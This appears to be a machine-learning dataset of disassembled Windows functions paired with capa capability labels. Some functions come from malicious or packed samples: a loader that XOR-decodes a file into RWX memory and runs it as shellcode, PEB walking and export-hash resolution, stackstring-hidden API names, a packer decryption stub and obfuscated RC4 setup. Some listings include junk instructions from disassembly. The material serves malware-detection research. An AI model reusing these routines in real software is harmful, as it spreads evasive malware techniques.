joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5c530eef
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x5c530f48
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x5c530eef
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x5c530efe
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x5c936ba1
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x5c530f4f
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.5c517dc5
cmp eax, dword [ebp + 0xc]
pop eax
je 0x5c530fee
add edi, 4
add eax, 2
dec ecx
jne 0x5c530f34
call 0x5c530f9b
loope 0x5c530f91
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x5c530feb
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x5c530ffc
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x5c530faf
cmp eax, ecx
ja 0x5c530faf
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x5c531039
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x5c53102f
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.5c5182a4
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x5c530efe
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x5c530f48
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x5c530eef
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x5c530efe
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x5c936ba1
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x5c530f4f
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.5c517dc5
cmp eax, dword [ebp + 0xc]
pop eax
je 0x5c530fee
add edi, 4
add eax, 2
dec ecx
jne 0x5c530f34
call 0x5c530f9b
loope 0x5c530f91
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x5c530feb
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x5c530ffc
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x5c530faf
cmp eax, ecx
ja 0x5c530faf
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x5c531039
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x5c53102f
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.5c5182a4
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x401460
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call dword [sym.imp.ucrtbase.dll_strlen]
mov esi, eax
xor eax, eax
test esi, esi
je 0x4014bb
cmp byte [ebx + esi - 1], 0xa
je 0x40148f
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [global_dest.0], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], ebx
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x401b30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0xf0
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [esp], eax
call dbg.__wine_dbg_get_channel_flags
movzx eax, al
bt eax, esi
jae 0x401d00
mov eax, dword fs:[0x18]
mov edi, dword [global_dest.0]
cmp dword [eax + 0x24], edi
je 0x401cf2
test byte [0x402018], 8
jne 0x401ca0
lea ebx, [esp + 0x28]
mov edi, ebx
test byte [0x402028], 8
jne 0x401c60
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call dbg.sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x401bf3
cmp esi, 3
ja 0x401bf3
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], str._s:_s:_s
mov dword [esp], eax
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
lea edx, [edi + 1]
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x4030e4]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.2
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov ecx, ebx
mov edi, eax
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
and edx, 0x80808080
je 0x401c04
mov esi, edx
mov dword [esp + 0xc], edi
mov dword [esp + 4], 1
shr esi, 0x10
test edx, 0x8080
mov dword [esp], ebx
cmove edx, esi
lea esi, [ecx + 2]
mov eax, edx
cmove ecx, esi
add al, dl
sbb ecx, 3
sub ecx, ebx
mov dword [esp + 8], ecx
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 0x402028
call dbg.__wine_dbg_get_channel_flags
test al, 8
je 0x401b8e
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call dbg.sprintf
add edi, eax
jmp 0x401b8e
mov dword [esp], 0x402018
call dbg.__wine_dbg_get_channel_flags
test al, 8
je 0x401b7b
call dword [sym.imp.kernel32.dll_GetTickCount]
mov edx, 0x10624dd3
mov ecx, eax
lea ebx, [esp + 0x28]
mul edx
mov dword [esp + 4], str._3u._03u:
mov dword [esp], ebx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call dbg.sprintf
lea edi, [ebx + eax]
jmp 0x401b81
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, 0xffffffff
jmp 0x401c51

Function at 0x401d60
Capabilities:
Get process heap force flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov ebx, dword [eax]
call sym.___p___wargv
mov esi, dword [eax]
call sym.__get_initial_wide_environment
mov edi, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov edx, dword [eax + 8]
mov eax, dword [edx + 0x3c]
cmp word [edx + eax + 0x5c], 2
sete dl
movzx edx, dl
add edx, 1
mov dword [esp], edx
call sym.__set_app_type
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call dbg.wmain
mov dword [esp], eax
call sym._exit
Function at 0x4090f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov byte [ebp - 0xc], 0x53
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x70
mov byte [ebp - 7], 0
mov byte [ebp - 0x4c], 0x56
mov byte [ebp - 0x4b], 0x69
mov byte [ebp - 0x4a], 0x72
mov byte [ebp - 0x49], 0x74
mov byte [ebp - 0x48], 0x75
mov byte [ebp - 0x47], 0x61
mov byte [ebp - 0x46], 0x6c
mov byte [ebp - 0x45], 0x41
mov byte [ebp - 0x44], 0x6c
mov byte [ebp - 0x43], 0x6c
mov byte [ebp - 0x42], 0x6f
mov byte [ebp - 0x41], 0x63
mov byte [ebp - 0x40], 0
mov byte [ebp - 0x3c], 0x4c
mov byte [ebp - 0x3b], 0x6f
mov byte [ebp - 0x3a], 0x63
mov byte [ebp - 0x39], 0x6b
mov byte [ebp - 0x38], 0x52
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x36], 0x73
mov byte [ebp - 0x35], 0x6f
mov byte [ebp - 0x34], 0x75
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], 0x63
mov byte [ebp - 0x31], 0x65
mov byte [ebp - 0x30], 0
mov byte [ebp - 0x2c], 0x4c
mov byte [ebp - 0x2b], 0x6f
mov byte [ebp - 0x2a], 0x61
mov byte [ebp - 0x29], 0x64
mov byte [ebp - 0x28], 0x52
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x73
mov byte [ebp - 0x25], 0x6f
mov byte [ebp - 0x24], 0x75
mov byte [ebp - 0x23], 0x72
mov byte [ebp - 0x22], 0x63
mov byte [ebp - 0x21], 0x65
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x7c], 0x53
mov byte [ebp - 0x7b], 0x69
mov byte [ebp - 0x7a], 0x7a
mov byte [ebp - 0x79], 0x65
mov byte [ebp - 0x78], 0x6f
mov byte [ebp - 0x77], 0x66
mov byte [ebp - 0x76], 0x52
mov byte [ebp - 0x75], 0x65
mov byte [ebp - 0x74], 0x73
mov byte [ebp - 0x73], 0x6f
mov byte [ebp - 0x72], 0x75
mov byte [ebp - 0x71], 0x72
mov byte [ebp - 0x70], 0x63
mov byte [ebp - 0x6f], 0x65
mov byte [ebp - 0x6e], 0
mov byte [ebp - 0x5c], 0x46
mov byte [ebp - 0x5b], 0x69
mov byte [ebp - 0x5a], 0x6e
mov byte [ebp - 0x59], 0x64
mov byte [ebp - 0x58], 0x52
mov byte [ebp - 0x57], 0x65
mov byte [ebp - 0x56], 0x73
mov byte [ebp - 0x55], 0x6f
mov byte [ebp - 0x54], 0x75
mov byte [ebp - 0x53], 0x72
mov byte [ebp - 0x52], 0x63
mov byte [ebp - 0x51], 0x65
mov byte [ebp - 0x50], 0x41
mov byte [ebp - 0x4f], 0
mov byte [ebp - 0x1c], 0x4c
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x4c
call 0xe9865881
imul eax, esi, 0xc662ea45
inc ebp
jmp 0x4092b0
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x13], 0x72
mov byte [ebp - 0x12], 0x79
mov byte [ebp - 0x11], 0x41
mov byte [ebp - 0x10], 0
mov byte [ebp - 0x6c], 0x47
mov byte [ebp - 0x6b], 0x65
mov byte [ebp - 0x6a], 0x74
mov byte [ebp - 0x69], 0x50
mov byte [ebp - 0x68], 0x72
mov byte [ebp - 0x67], 0x6f
mov byte [ebp - 0x66], 0x63
mov byte [ebp - 0x65], 0x41
mov byte [ebp - 0x64], 0x64
mov byte [ebp - 0x63], 0x64
mov byte [ebp - 0x62], 0x72
mov byte [ebp - 0x61], 0x65
mov byte [ebp - 0x60], 0x73
mov byte [ebp - 0x5f], 0x73
mov byte [ebp - 0x5e], 0
call fcn.00409350
mov dword [ebp - 4], eax
lea eax, [ebp - 0x6c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00409440
add esp, 8
mov edx, dword [ebp + 8]
mov dword [edx + 0x18], eax
lea eax, [ebp - 0x1c]
push eax
Function at 0x409230
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call 0xe9865881
imul eax, esi, 0xc662ea45
inc ebp
jmp 0x4092b0
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x18]
call eax
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x14], eax
lea edx, [ebp - 0x5c]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x18]
call edx
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x10], eax
lea edx, [ebp - 0x7c]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x18]
call edx
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], eax
lea edx, [ebp - 0x2c]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x18]
call edx
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], eax
lea edx, [ebp - 0x3c]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x18]
call edx
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
lea edx, [ebp - 0x4c]
push edx
invalid
inc ebp

Function at 0x409350
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x40af40
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, ecx
movzx eax, byte [edi]
xor eax, 0x811c9dc5
imul edx, eax, 0x1000193
movzx eax, byte [edi + 1]
xor edx, eax
movzx eax, byte [edi + 2]
imul edx, edx, 0x1000193
xor edx, eax
movzx eax, byte [edi + 3]
imul ecx, edx, 0x1000193
mov edx, dword [esi + 0xc]
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, dword [esi + 0x18]
mov esi, dword [esi + 4]
and ecx, eax
mov eax, dword [edx + ecx*8]
add ecx, ecx
mov ebx, dword [edx + ecx*4]
lea edx, [edx + ecx*4]
cmp ebx, esi
jne 0x40af9b
mov ecx, esi
jmp 0x40afa0
mov ecx, dword [edx + 4]
mov ecx, dword [ecx]
cmp eax, ecx
je 0x40afc5
mov ecx, dword [eax + 8]
cmp ecx, dword [edi]
je 0x40afaf
mov eax, dword [eax]
jmp 0x40af93
mov ecx, dword [edi]
cmp ecx, dword [eax + 8]
mov ecx, dword [ebp + 8]
cmovne eax, esi
pop edi
pop esi
mov dword [ecx], eax
mov eax, ecx
pop ebx
pop ebp
ret 8
mov eax, dword [ebp + 8]
pop edi
mov dword [eax], esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x431120
Capabilities:
Check if file exists
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x47bbb0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x20c]
push 0x208
push 0
push eax
call fcn.00439ae0
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.Tencent
lea eax, [ebp - 0x20c]
push eax
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x431191
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push str.QQBrowser
lea eax, [ebp - 0x20c]
push eax
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4311c3
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x20c]
mov ecx, esi
push eax
call fcn.00405d80
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0043834d
mov esp, ebp
pop ebp
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..data
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x41d607d1
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..text
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x287362d0
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x1014d5f0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10165cd0]
jne 0x1014d5fa
repz ret
jmp fcn.1014f46c

Function at 0x10150a03
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1014c560
and dword [ebp - 4], 0
cmp dword [0x1016708c], 0
mov ebx, eax
jne 0x10150ab4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10150b65
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x10150b65
push eax
call fcn.1014c4ee
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1016708c], eax
call esi
push eax
call fcn.1014c4ee
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10167090], eax
call esi
push eax
call fcn.1014c4ee
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10167094], eax
call esi
push eax
call fcn.1014c4ee
pop ecx
mov dword [0x1016709c], eax
test eax, eax
je 0x10150ab4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1014c4ee
pop ecx
mov dword [0x10167098], eax
mov eax, dword [0x10167098]
cmp eax, ebx
je 0x10150b0c
cmp dword [0x1016709c], ebx
je 0x10150b0c
push eax
call fcn.1014c569
push dword [0x1016709c]
mov esi, eax
call fcn.1014c569
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10150b0c
test edi, edi
je 0x10150b0c
call esi
test eax, eax
je 0x10150b03
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10150b03
test byte [ebp - 0xc], 1
jne 0x10150b0c
or dword [ebp + 0x10], 0x200000
jmp 0x10150b45
mov eax, dword [0x10167090]
cmp eax, ebx
je 0x10150b45
push eax
call fcn.1014c569
pop ecx
test eax, eax
je 0x10150b45
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10150b45
mov eax, dword [0x10167094]
cmp eax, ebx
je 0x10150b45
push eax
call fcn.1014c569
pop ecx
test eax, eax
je 0x10150b45
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1016708c]
call fcn.1014c569
pop ecx
test eax, eax
je 0x10150b65
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10150b67
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1015191a
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x40
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, 0xffffffff
cmp ecx, 0
sete bl
cmp eax, 0
sete bh
and bl, bh
test bl, 1
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
jne 0x10151ace
mov dword [0x10165254], 0x25ed
mov dword [0x10165250], 0x14fc
mov ecx, dword fs:[0x18]
mov dword [0x10165250], 0xffffeafc
mov eax, dword [ecx + 0x30]
mov dword [0x10165254], 0xffffd3cf
mov eax, dword [eax + 0xc]
add eax, 0x14
mov ecx, dword [ebp - 0x10]
cmp ecx, 0
setne dl
mov esi, eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x1d], dl
mov dword [ebp - 0x24], esi
jmp 0x101519bc
mov eax, dword [ebp - 0x28]
add eax, 0xfffffff8
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x18], eax
jmp 0x10151ace
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [eax]
mov edx, dword [ebp - 0x1c]
cmp eax, edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], ecx
je 0x10151ace
mov dword [0x10165250], 0xe77
mov eax, dword [ebp - 0x28]
add eax, 0x24
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx + 0x28]
mov esi, dword [ecx + 0x10]
mov edi, dword [ebp - 0x10]
cmp esi, edi
sete bl
mov bh, byte [ebp - 0x1d]
and bh, bl
test bh, 1
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], esi
jne 0x101519a6
xor eax, eax
mov ecx, dword [ebp - 0x30]
mov dx, word [ecx]
mov dword [0x10165250], 0x26b6
shr dx, 1
movzx esi, dx
cmp dx, 0
mov edi, dword [ebp - 0x28]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x40], eax
je 0x101519bc
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x34]
mov dx, word [ecx + eax*2]
mov si, dx
add si, 0xffbf
mov di, dx
add di, 0x20
cmp si, 0x1a
mov dword [ebp - 0x44], eax
mov word [ebp - 0x46], dx
mov word [ebp - 0x48], di
jb 0x10151a6a
mov ax, word [ebp - 0x46]
mov word [ebp - 0x48], ax
mov ax, word [ebp - 0x48]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x44]
cmp word [ecx + edx*2], ax
sete bl
cmp ax, 0
sete bh
mov al, bl
xor al, 1
or bh, al
test bh, 1
mov byte [ebp - 0x49], bl
jne 0x10151aac
mov dword [0x10165250], 0x667
mov eax, dword [ebp - 0x44]
add eax, 1
mov ecx, dword [ebp - 0x3c]
cmp eax, ecx
mov dword [ebp - 0x40], eax
jb 0x10151a36
mov al, byte [ebp - 0x49]
test al, 1
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x24], ecx
jne 0x10151abe
jmp 0x101519bc
mov dword [0x10165254], 0xffffc994
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add esp, 0x40
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10151ef9
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x1016525c], 0
mov byte [0x10165260], 0
mov dword [0x10165250], 0x1f87
mov dword [0x10165258], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x10152043
mov dword [0x10165250], 0x1e31
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x10165264], 0
mov dword [0x10165250], 0x17de
mov edx, dword [0x1016525c]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x10165264], edi
mov dword [0x10165254], 0x51e
mov dword [0x10165250], 0xffffe312
mov eax, edi
cdq
idiv ecx
mov dword [0x1016525c], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x10165260], cl
mov dword [0x10165250], 0x1980
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov ecx, dword [0x10165250]
add ecx, 0x1ff7
mov dword [0x10165254], ecx
mov cl, byte [0x10165260]
mov edx, dword [0x1016525c]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov dword [0x10165250], 0x5e6
mov edx, dword [0x10165254]
add edx, 0xfffffd1a
mov dword [0x10165254], edx
mov edx, dword [0x10165258]
add edx, 1
mov dword [0x10165258], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x10151f55
jmp 0x10151f43
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10165258]
add eax, 1
mov dword [0x10165258], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10152043
xor eax, eax
mov dword [0x10165250], 0xd51
mov dword [0x10165258], 0
mov dword [ebp - 0x20], eax
jmp 0x10151f55